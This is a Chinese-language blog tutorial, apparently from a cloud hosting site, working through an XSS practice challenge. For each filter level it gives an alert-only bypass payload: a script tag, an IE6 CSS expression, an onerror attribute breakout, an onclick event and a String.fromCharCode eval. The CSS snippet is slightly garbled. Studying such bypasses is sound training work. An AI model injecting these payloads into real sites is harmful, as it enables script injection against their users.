溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》
您好，登錄后才能下訂單哦！
小編今天帶大家了解xss的小測試是怎樣進(jìn)行的，文中知識點介紹的非常詳細(xì)。覺得有幫助的朋友可以跟著小編一起瀏覽文章的內(nèi)容，希望能夠幫助更多想解決這個問題的朋友找到問題的答案，下面跟著小編一起深入學(xué)習(xí)“xss的小測試是怎樣進(jìn)行的”的知識吧。
無安全方面的限制，直接使用
<script>alert(/xss/);</script>
限制條件：只能使用CSS，不允許使用html標(biāo)簽
我們知道利用expression可以用來構(gòu)造XSS，但是只能在IE下面測試，所以下面的測試請在IE6中執(zhí)行。
body {
black;
xss:alert(/xss/));/*IE6下測試*/
}限制條件：對HTML進(jìn)行了轉(zhuǎn)義，Image標(biāo)簽可用。
測試輸入的字符會被插入到src地址中，那么可以使用偽協(xié)議來繞過。
直接輸入
alert( /xss/);
或者你也可以使用事件來繞過，注意閉合語句即可，如下：
1" onerror=alert(/xss/); var a="1
限制條件：使用了關(guān)鍵字過濾。
我測試了一下，大部分都過濾了，有部分未過濾，經(jīng)測試script/onerror過濾了，但是onclick未過濾，使用onclick事件繞過
<img src=# onclick=alert(/xss/);>
限制條件：使用addslashes對特征字符進(jìn)行了轉(zhuǎn)義
也就是說我們的XSS語句中不能出現(xiàn)單引號，雙引號等等特征字符。
直接使用
<script>alert(/xss/);</script>
即可繞過
或者使用String.fromCharCode方法，如下：
<script>eval(String.fromCharCode(97,108,101,114,116,40,47,120,47,41,59));</script>
感謝大家的閱讀，以上就是“xss的小測試是怎樣進(jìn)行的”的全部內(nèi)容了，學(xué)會的朋友趕緊操作起來吧。相信億速云小編一定會給大家?guī)砀鼉?yōu)質(zhì)的文章。謝謝大家對億速云網(wǎng)站的支持！
免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進(jìn)行舉報，并提供相關(guān)證據(jù)，一經(jīng)查實，將立刻刪除涉嫌侵權(quán)內(nèi)容。
億速云公眾號
手機(jī)網(wǎng)站二維碼